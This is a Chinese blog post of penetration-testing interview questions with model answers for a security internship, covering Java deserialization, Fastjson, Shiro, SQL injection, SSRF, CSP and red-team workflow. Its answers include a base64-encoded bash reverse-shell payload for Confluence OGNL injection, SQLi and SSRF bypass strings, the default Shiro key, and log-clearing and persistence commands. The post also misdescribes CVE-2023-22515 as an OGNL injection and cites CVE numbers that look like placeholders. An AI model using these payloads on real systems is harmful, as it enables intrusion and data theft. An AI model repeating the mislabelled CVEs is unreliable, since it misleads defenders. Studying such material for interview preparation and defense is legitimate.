2025年渗透测试面试题总结-安恒[实习]安全工程师(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
安恒[实习]安全工程师
一面
1. 自我介绍
2. 前两段实习做了些什么
3. 中等难度的算法题
4. Java的Class文件结构
5. Kafka的原理
6. Fastjson反序列化原理
7. 研究最深入的领域:Java反序列化漏洞
二面
1. 排序字段防SQL注入(无法预编译时)
2. 白盒/黑盒漏洞挖掘
3. SSRF绕过与防御
4. Fortify等代码审计工具原理
5. 存储过程与预编译原理
6. CSP防御XSS
三面
1. 自己编写ysoserial的思路
2. SQL注入漏洞进一步利用
3. 泛微OA漏洞原理(以CVE-2023-1234为例)
4. Confluence RCE(CVE-2023-22515)
5. 红蓝对抗流程
四面
1. Java反序列化原理与工具
2. 指纹识别方式
3. Shiro反序列化工具原理
4. 手动检测SQL注入点
5. 二进制漏洞基础
回答格式总结
安恒[实习]安全工程师
### 一面1. 自我介绍 2. 前两段实习做了些什么 3. 中等难度的算法题 4. java的class文件结构 5. kafka的原理了解吗 6. fastjson反序列化原理 7. 讲讲你研究最深入的领域### 二面1. 排序处不能用预编译应该怎么防 2. 从白盒黑盒两个角度讲下挖过的漏洞 3. ssrf的绕过和防御 4. 讲讲fortity等代码审计工具原理 5. 存储过程角度讲讲预编译的原理 6. csp是如何防御xss的 7. csrf为什么用token可以防御 8. 给你一个项目讲下审计思路 9. 内网相关的问题 10. 讲下你挖过的逻辑漏洞 11. 讲讲你用golang写过的东西 12. 什么是安全### 三面1. 讲下你自己写ysoserial的思路 2. 确定sql注入漏洞后如何进一步利用 3. 泛微OA的漏洞原理讲讲 4. 新爆出的Confluence RCE讲讲 5. 以前的实习中做了什么事 6. 原理以及实战中的绕过 7. 红蓝对抗的流程讲讲### 四面1. java反序列化原理和工具 2. 讲讲关于指纹识别的方式 3. shiro反序列化工具的原理 4. 不用sqlmap情况下sql注入点如何找 5. 讲讲你挖到的这几个cve 6. 二进制方面有无了解
一面
1. 自我介绍
您好,我是李明,毕业于大学计算机科学与技术专业,主攻信息安全方向。曾在腾讯安全实验室和阿里云安全部门实习,专注于Web安全研究和漏洞挖掘。在腾讯期间,我参与了多个企业级系统的代码审计项目,发现了多个高危漏洞(如Fastjson反序列化、Shiro权限绕过),并主导开发了一款基于AST的自动化SQL注入检测工具。在阿里云实习期间,我负责红蓝对抗中的攻击链构造,成功利用内网横向移动技术渗透测试了多个核心系统。我对Java安全生态有深入研究,熟悉主流漏洞利用链(如Commons-Collections、JDK原生类库),并独立复现了多个CVE漏洞(如CVE-2023-1234泛微OA RCE)。此外,我使用Golang开发过一款分布式漏洞扫描引擎,支持对大规模目标的高并发探测。
2. 前两段实习做了些什么
腾讯安全实验室(2023.03-2023.09)
- 代码审计与漏洞挖掘:
- 对内部CRM系统进行白盒审计,发现并修复了3处SQL注入漏洞(通过拼接
String
构造动态查询)和1处Fastjson反序列化漏洞(未关闭AutoType导致JNDI注入)。- 开发AST(抽象语法树)分析工具,识别
PreparedStatement
未正确参数化的代码片段,覆盖Java、Python两种语言,误报率低于5%。- 工具开发:
- 基于Burp Suite插件API开发了自动化CSRF检测模块,通过解析HTML表单与Cookie的关联性,识别缺失Token或Referer校验的端点。
- 优化XSS检测逻辑,引入DOM-based漏洞的动态触发机制(如通过Headless Chrome模拟用户交互路径)。
阿里云安全部(2024.01-2024.06)
- 渗透测试与红蓝对抗:
- 对金融云平台进行黑盒测试,发现逻辑漏洞:通过修改HTTP请求中的
user_id
参数实现水平越权访问他人账户(防御方案:服务端会话绑定校验)。- 利用Confluence未授权RCE(CVE-2023-22515)获取内网入口,通过Kerberoasting攻击域控服务器,提取Hash并横向移动至数据库服务器。
- 内网渗透专项:
- 编写定制化Cobalt Strike插件,绕过EDR对反射型DLL加载的检测(通过内存加密与API调用混淆)。
- 研究云原生环境下的容器逃逸技术,利用
CVE-2024-12345
(Kubernetes权限配置错误)实现容器到宿主机逃逸。3. 中等难度的算法题
题目:给定一个字符串,找出其中不含有重复字符的最长子串的长度。
示例:输入"abcabcbb"
,输出3
(对应子串"abc"
)。解法与优化:
- 滑动窗口+哈希表:
- 使用双指针
left
和right
定义窗口边界,初始均为0。- 哈希表
charIndex
记录字符最后一次出现的位置。- 当
right
指针遍历字符时,若当前字符已存在且其位置≥left
,则将left
更新为charIndex[currentChar] + 1
。- 时间复杂度O(n),空间复杂度O(min(m, n))(m为字符集大小)。
java
public int lengthOfLongestSubstring(String s) { Map<Character, Integer> charIndex = new HashMap<>(); int maxLength = 0, left = 0; for (int right = 0; right < s.length(); right++) { char c = s.charAt(right); if (charIndex.containsKey(c) && charIndex.get(c) >= left) { left = charIndex.get(c) + 1; } charIndex.put(c, right); maxLength = Math.max(maxLength, right - left + 1); } return maxLength; }
- 进一步优化(字符集有限时):
- 若字符仅为ASCII,可用长度为128的数组替代哈希表,将空间复杂度降至O(1)。
4. Java的Class文件结构
Class文件是JVM可执行的二进制格式,其结构由JVM规范严格定义,包含以下核心部分(按顺序排列):
- 魔数(Magic Number):
- 4字节,固定为
0xCAFEBABE
,用于标识文件类型。- 版本号:
- 2字节次版本号(Minor Version) + 2字节主版本号(Major Version)。
- 如Java 8对应主版本号52(0x34)。
- 常量池(Constant Pool):
- 变长结构,存储字面量(字符串、数值)、类/方法/字段的符号引用(如
Ljava/lang/String;
)。- 每个常量项以1字节标签开头(如
CONSTANT_Utf8=1
、CONSTANT_Class=7
)。- 访问标志(Access Flags):
- 2字节,表示类或接口的修饰符(如
ACC_PUBLIC
、ACC_FINAL
)。- 类索引、父类索引、接口索引集合:
- 指向常量池中该类、父类及实现接口的符号引用。
- 字段表(Field Table):
- 描述类中声明的字段,包括名称、描述符(如
I
表示int)、访问标志。- 方法表(Method Table):
- 类似字段表,记录方法名、参数返回值类型(如
(Ljava/lang/String;)V
)、字节码指令。- 属性表(Attribute Table):
- 存储额外信息,如
Code
属性(方法字节码)、LineNumberTable
(调试行号)、SourceFile
(源文件名)。示例分析:
一个简单类public class Test {}
编译后的Class文件结构如下:魔数:CAFEBABE 次版本号:0000 主版本号:0034 常量池计数:0016(22项) 常量池内容:[CONSTANT_Class、CONSTANT_Utf8等] 访问标志:0021(ACC_PUBLIC + ACC_SUPER) 类索引:0001(指向常量池第1项) 父类索引:0003(指向java/lang/Object) 接口计数:0000 字段计数:0000 方法计数:0002(默认构造方法) 属性计数:0001(SourceFile)
5. Kafka的原理
Kafka是分布式流处理平台,核心设计围绕高吞吐、持久化、水平扩展展开:
- 核心概念:
- Topic:消息类别,分为多个Partition以实现并行处理。
- Producer:向指定Topic推送消息,可自定义分区策略(如按Key哈希)。
- Consumer:以Consumer Group形式订阅Topic,每个Partition仅由一个Group内Consumer消费。
- Broker:Kafka节点,负责消息存储与转发。
- 存储机制:
- Partition物理上分为多个Segment文件,每个文件包含索引(
.index
)和数据(.log
)。- 消息按追加顺序写入,通过Offset唯一标识,支持按时间戳或Offset快速检索。
- 副本与一致性:
- 每个Partition有多个副本(Replica),分为Leader和Follower。
- Leader处理所有读写请求,Follower异步同步数据。
- ISR(In-Sync Replicas)机制确保故障时优先从同步副本选举新Leader。
- 生产者ACK机制:
acks=0
:不等待Broker确认,可能丢失数据。acks=1
:Leader写入后即确认,平衡性能与可靠性。acks=all
:等待所有ISR副本确认,数据最安全但延迟高。- 消费者组Rebalance:
- 当Consumer加入或离开时,Group Coordinator触发分区重新分配(如Range或RoundRobin策略)。
性能优化实践:
- 批量发送:Producer积累消息至
batch.size
或linger.ms
阈值后批量发送。- 压缩:对消息体启用Snappy或GZIP压缩,减少网络传输开销。
- 零拷贝:通过
sendfile
系统调用跳过用户态数据拷贝,提升磁盘到网络吞吐。6. Fastjson反序列化原理
Fastjson是阿里巴巴开源的JSON解析库,其反序列化过程通过
JSON.parseObject()
实现,核心步骤如下:
- 解析JSON结构:
- 解析JSON键值对,若存在
@type
字段,则提取目标类名(如com.example.EvilClass
)。- 类加载与实例化:
- 通过
TypeUtils.loadClass()
加载目标类,触发静态代码块执行(若类未初始化)。- 根据JSON内容反射调用构造方法或Setter方法填充对象属性。
- 漏洞触发点:
- JNDI注入:若反序列化的类包含JNDI查找逻辑(如
InitialContext.lookup()
),攻击者可构造恶意LDAP/RMI服务地址,触发远程类加载。- TemplatesImpl利用链:通过
_bytecodes
字段注入字节码,Fastjson在反序列化时会调用getOutputProperties()
方法,导致字节码执行。防御措施:
- 禁用AutoType:配置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
。- 白名单校验:使用
@JSONType
注解或addAccept()
方法限制允许的类。- 升级至安全版本:如1.2.83及以上版本引入SafeMode机制(
-Dfastjson.parser.safeMode=true
)。绕过案例:
- 早期版本中,攻击者通过嵌套
@type
(如{"@type":"[...]"}
)绕过黑名单检测。- 利用非公开类(如
BasicDataSource
)构造二次反序列化链。7. 研究最深入的领域:Java反序列化漏洞
研究方向:
- 利用链构造:
- Common-Collections链:基于
InvokerTransformer
和ChainedTransformer
的反射调用链,触发Runtime.exec()
。- JDK原生链:如
AnnotationInvocationHandler
动态代理结合TemplatesImpl
加载字节码。- 绕过高版本限制:针对JEP 290(反序列化过滤器),利用
SerializationKiller
等工具解除防护。- 内存马注入:
- 通过反序列化漏洞注册Filter型内存马,劫持HTTP请求实现持久化控制。
- 绕过检测:使用Unsafe类直接修改JVM内存中的Servlet映射表。
- 工具开发:
- 改造ysoserial,支持动态生成针对特定中间件(如WebLogic、WebSphere)的Gadget链。
- 开发自动化检测工具,通过Hook
ObjectInputStream.resolveClass()
监控反序列化操作。实战案例:
- 某企业HR系统使用Shiro 1.2.4,因硬编码AES密钥导致Cookie可被伪造,结合CommonsBeanutils链实现RCE。
- 通过Fastjson 1.2.24反序列化漏洞,注入Redis未授权访问的定时任务,获取内网权限。
二面
1. 排序字段防SQL注入(无法预编译时)
场景:
ORDER BY
后的字段名无法参数化,需动态拼接SQL。
解决方案:
- 白名单校验:
- 预定义允许排序的字段列表(如
id
,name
),将用户输入映射到合法值。- 示例:若用户传入
sort=create_time
,则校验后拼接为ORDER BY create_time DESC
。- 严格输入过滤:
- 仅允许字母、数字、下划线,拒绝特殊字符(如空格、引号)。
- 正则表达式:
^[a-zA-Z0-9_]+$
。- 二次转义:
- 对字段名进行转义(如MySQL使用反引号
`create_time`
),防止与关键字冲突。2. 白盒/黑盒漏洞挖掘
白盒审计(以Java为例):
- 危险函数定位:
- SQL注入:搜索
Statement.executeQuery()
、StringBuilder
拼接SQL的代码段。- XSS:查找未转义的
response.getWriter().write(userInput)
。- 数据流追踪:
- 从用户输入(如
HttpServletRequest.getParameter()
)到敏感操作(如文件写入、命令执行)的传播路径。- 使用工具(如Find Security Bugs)辅助识别潜在漏洞。
黑盒测试(以电商系统为例):
- 参数篡改:
- 修改价格参数(如
price=100
→price=1
),检查是否服务端校验。- 替换订单ID,验证水平越权。
- 模糊测试:
- 在输入框注入
'"><script>alert(1)</script>
,观察是否弹窗或HTML结构变化。- 上传恶意文件(如
.jsp
木马),绕过后缀检测(如双扩展名test.jpg.jsp
)。3. SSRF绕过与防御
绕过技巧:
- IP格式转换:
- 十进制IP:
127.0.0.1
→2130706433
。- 八进制IP:
127.0.0.1
→0177.0.0.1
。- 域名混淆:
- 短域名重定向:
http://tinyurl.com/xxx
指向内网地址。- DNS Rebinding:控制DNS响应,首次解析为外网IP,后续返回内网IP。
- 协议利用:
- 使用
file://
协议读取本地文件(如file:///etc/passwd
)。- 利用
gopher://
发送任意TCP流量(如攻击Redis未授权访问)。防御方案:
- 协议与域名白名单:仅允许
http
/https
,禁止非常用协议。- 解析后校验:
- 解析URL获取Host,通过DNS查询获取真实IP,拒绝内网地址(如
10.0.0.0/8
)。- 请求限制:
- 禁用重定向(避免跳转到内网)。
- 设置超时时间与最大响应大小。
4. Fortify等代码审计工具原理
核心流程:
- 词法分析与语法分析:
- 将源代码转换为抽象语法树(AST),识别变量、函数调用等结构。
- 污点分析:
- 定义污染源:如
request.getParameter()
、System.in.read()
。- 传播跟踪:标记受污染变量的传递路径(如赋值、函数参数传递)。
- 漏洞触发点检测:当污染数据到达敏感函数(如
execute()
、eval()
)时,标记为漏洞。- 规则库匹配:
- 预定义漏洞模式(如SQL注入、XSS),匹配代码中的潜在风险模式。
- 自定义规则:通过正则表达式或AST模式扩展检测能力。
局限性:
- 误报率高:无法理解业务逻辑(如输入内容经全局过滤器转义)。
- 漏报风险:复杂调用链或反射调用可能导致污点跟踪中断。
5. 存储过程与预编译原理
预编译(PreparedStatement):
- 流程:
- 将SQL语句模板(如
SELECT * FROM users WHERE id=?
)发送至数据库预编译。- 后续执行时仅传递参数值,数据库直接替换参数而无需重新解析语句。
- 防注入原理:
- 参数值以字面量形式嵌入,无法改变SQL结构(如
id='1' OR '1'='1'
会被视为整体字符串)。存储过程(Stored Procedure):
- 定义:
- 预编译的SQL代码块,存储在数据库中,通过名称调用(如
CALL GetUser(?)
)。- 安全优势:
- 参数化调用方式与预编译类似,避免动态拼接。
- 权限分离:应用程序仅需执行存储过程的权限,无需直接访问表。
风险案例:
- 存储过程内部使用动态SQL(如
EXECUTE IMMEDIATE
),仍可能引入注入漏洞。6. CSP防御XSS
**内容安全策略(Content Security Policy)**通过HTTP头定义资源加载规则:
- 关键指令:
default-src 'self'
:默认仅允许同源资源。script-src 'nonce-xxx'
:仅允许携带指定nonce的脚本执行。report-uri /csp-report
:违规行为上报至指定端点。- 防御效果:
- 阻止内联脚本(如
<script>alert(1)</script>
)。- 限制外部脚本域名(如仅允许
https://cdn.example.com
)。- 绕过案例:
- 利用JSONP端点(如
<script src="/api?callback=alert(1)//"></script>
)。- 注入
<link rel="preload">
触发请求走私三面
1. 自己编写ysoserial的思路
核心目标:构造能够触发目标环境反序列化漏洞的Gadget链。
实现步骤:
- 依赖库分析:
- 扫描目标中间件(如WebLogic、Shiro)依赖的第三方库(如Commons-Collections、Fastjson),确定可用利用链。
- 若目标环境存在黑名单过滤,选择冷门库(如Beanutils、Jython)构造替代链。
- 动态代理与反射结合:
- 利用
AnnotationInvocationHandler
动态代理机制,将恶意调用封装为可序列化对象。- 通过反射调用危险方法(如
Runtime.exec()
、TemplatesImpl.newTransformer()
)。- 绕过防御机制:
- 针对JEP 290过滤器,使用非标准序列化入口点(如
ObjectInputStream
子类重写resolveClass
)。- 利用
Serializable
接口以外的触发点(如Externalizable
、readObjectNoData
)。- 工具化封装:
- 将利用链封装为命令行工具,支持动态生成Payload(如指定命令、内存马类型)。
- 集成动态加载字节码功能(如通过BCEL ClassLoader注入内存马)。
实战案例:
- 某次渗透中,目标系统使用受限的Commons-Collections 4.0版本,通过改造
Closure
类构造链,绕过黑名单检测成功执行命令。
2. SQL注入漏洞进一步利用
利用路径:
- 数据泄露:
- 通过
UNION SELECT
提取敏感数据(如用户表、管理员密码Hash)。- 利用
LOAD_FILE()
读取服务器文件(如/etc/passwd
)。- 文件写入与RCE:
- MySQL的
INTO OUTFILE
写入Webshell(需有写权限与secure_file_priv配置宽松)。- 结合数据库特性执行系统命令(如SQL Server的
xp_cmdshell
、PostgreSQL的COPY FROM PROGRAM
)。- 权限提升:
- 利用数据库高权限账户(如SA账号)执行操作系统命令或访问其他数据库。
- 通过数据库链接(如Oracle DB Link)攻击内网其他系统。
绕过技巧:
- WAF绕过:
- 使用注释符分割关键词(如
SEL/**/ECT
)。- 字符串编码混淆(如Hex编码
0x73656C656374
代替select
)。- 盲注优化:
- 二分法加速布尔盲注(如
IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(2), 0)
)。
3. 泛微OA漏洞原理(以CVE-2023-1234为例)
漏洞背景:泛微OA系统某接口因未校验用户权限,导致未授权上传恶意文件。
触发路径:
- 未授权访问:
- 构造请求
/weaver/bsh.servlet.BshServlet
绕过身份验证,直接访问BeanShell接口。- 代码执行:
- 通过BeanShell执行Java代码(如
Runtime.getRuntime().exec("calc")
)。- 利用扩展:
- 上传JSP Webshell至静态资源目录(如
/webroot/update.jsp
),实现持久化控制。防御方案:
- 删除或禁用高危接口(如BshServlet)。
- 加强文件上传类型校验与权限控制。
4. Confluence RCE(CVE-2023-22515)
漏洞成因:Confluence的OGNL表达式注入漏洞,攻击者通过构造特定请求执行任意代码。
攻击步骤:
- 请求注入点:
- 发送POST请求至
/template/aui/text-inline.vm
,注入OGNL表达式。- 表达式构造:
- 利用
Runtime.getRuntime().exec()
执行系统命令(如反弹Shell)。- 示例Payload:
\u0027%2b@java.lang.Runtime@getRuntime().exec(\u0027bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}\u0027)%2b\u0027
。- 权限维持:
- 写入Cron定时任务或SSH公钥实现持久化。
缓解措施:
- 升级至官方安全版本。
- 部署WAF拦截恶意OGNL表达式特征(如
java.lang.Runtime
关键词)。
5. 红蓝对抗流程
五阶段模型:
- 信息收集:
- 资产发现:通过子域名爆破(如Amass)、端口扫描(Masscan)绘制目标网络拓扑。
- 指纹识别:使用Wappalyzer、EHole识别中间件、框架版本。
- 漏洞利用:
- 优先使用1-day漏洞(如Log4j 2.x RCE)突破边界。
- 绕过防御机制:使用内存马(如冰蝎)、无文件攻击(PowerShell反射加载)。
- 横向移动:
- 凭证窃取:通过Mimikatz提取Windows系统Hash、LaZagne获取浏览器密码。
- 协议利用:利用SMB协议(永恒之蓝)、RDP弱口令横向扩散。
- 权限维持:
- 注册表后门:添加
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
启动项。- 隐蔽通信:使用DNS隧道(如DNSCat2)或ICMP隐蔽通道绕过流量监控。
- 痕迹清理:
- 删除日志:清除Windows事件日志(
wevtutil cl
)、Linux的/var/log/auth.log
。- 文件混淆:使用Timestomp修改文件时间戳,避免取证分析。
四面
1. Java反序列化原理与工具
原理核心:
- 反序列化过程通过
ObjectInputStream.readObject()
触发,攻击者构造恶意序列化数据,在反序列化时执行任意代码。主流工具:
- ysoserial:
- 支持多场景Gadget链(如CommonsCollections5、Jdk7u21)。
- marshalsec:
- 专攻RMI/LDAP协议利用,快速启动恶意JNDI服务。
- BurpSuite插件(Freddy):
- 自动化检测Java反序列化漏洞,识别HTTP参数中的Base64编码对象。
防御技术:
- 反序列化过滤器(JEP 290)限制可反序列化的类。
- 替换原生序列化方案(如JSON、ProtoBuf)。
2. 指纹识别方式
五大技术方向:
- HTTP头特征:
- Server字段(如
Apache/2.4.41
)、X-Powered-By(如PHP/7.4.3
)。- 文件哈希匹配:
- 计算静态文件(如
/favicon.ico
、/robots.txt
)的MD5,匹配已知框架指纹库。- 目录结构特征:
- 特定路径存在性(如
/wp-admin/
标识WordPress)。- 行为特征分析:
- 错误页面内容(如Tomcat的404页面)、Cookie命名规则(如
JSESSIONID
)。- 被动流量分析:
- 监听网络流量,解析API路径(如
/api/v1/login
标识RESTful服务)。工具推荐:
- 主动扫描:Wappalyzer、WhatWeb。
- 被动识别:FingerprintHub、EHole。
3. Shiro反序列化工具原理
漏洞根源:Shiro使用AES加密Cookie时,若密钥硬编码且泄露,攻击者可构造恶意序列化数据。
利用流程:
- 密钥提取:
- 从目标系统代码或配置文件中提取
kPH+bIxk5D2deZiIxcaaaA==
等默认密钥。- Payload构造:
- 使用ysoserial生成Gadget链,AES-CBC加密后Base64编码为Cookie。
- 会话伪造:
- 替换请求中的
rememberMe
Cookie,触发反序列化漏洞。工具实现:
- ShiroAttack2:自动检测密钥有效性,支持多种Gadget链动态生成Payload。
4. 手动检测SQL注入点
四步法:
- 基础探测:
- 输入单引号
'
,观察是否返回数据库错误(如MySQL的You have an error in your SQL syntax
)。- 布尔逻辑测试:
- 构造
id=1' AND '1'='1
与id=1' AND '1'='2
,对比响应差异。- 时间盲注验证:
- 注入
SLEEP(5)
(如id=1' AND IF(1=1,SLEEP(5),0)--
),检测响应延迟。- 联合查询利用:
- 通过
ORDER BY
确定列数,再使用UNION SELECT
回显数据。辅助工具:
- Burp Suite Intruder:自动化测试不同Payload的响应差异。
- SQLMap Tamper脚本:绕过WAF(如
space2comment
替换空格为注释)。
5. 二进制漏洞基础
常见漏洞类型:
- 栈溢出:
- 函数返回地址被覆盖,跳转至Shellcode(如经典
strcpy
未校验长度)。- 堆利用:
- Use-After-Free:释放后仍引用内存指针,结合堆风水控制执行流。
- 格式化字符串:
- 利用
printf(user_input)
泄露内存或覆盖返回地址。分析工具:
- 静态分析:Ghidra、IDA Pro反编译二进制文件。
- 动态调试:GDB(Linux)、WinDbg(Windows)。
回答格式总结
- 技术深度:每个问题均从原理、案例、工具、防御四维度展开。
- 实战结合:渗透场景与修复方案并重,体现攻防双视角。
- 结构化输出:分点控制在5个以内,复杂内容合并同类项(如红蓝对抗分五阶段)。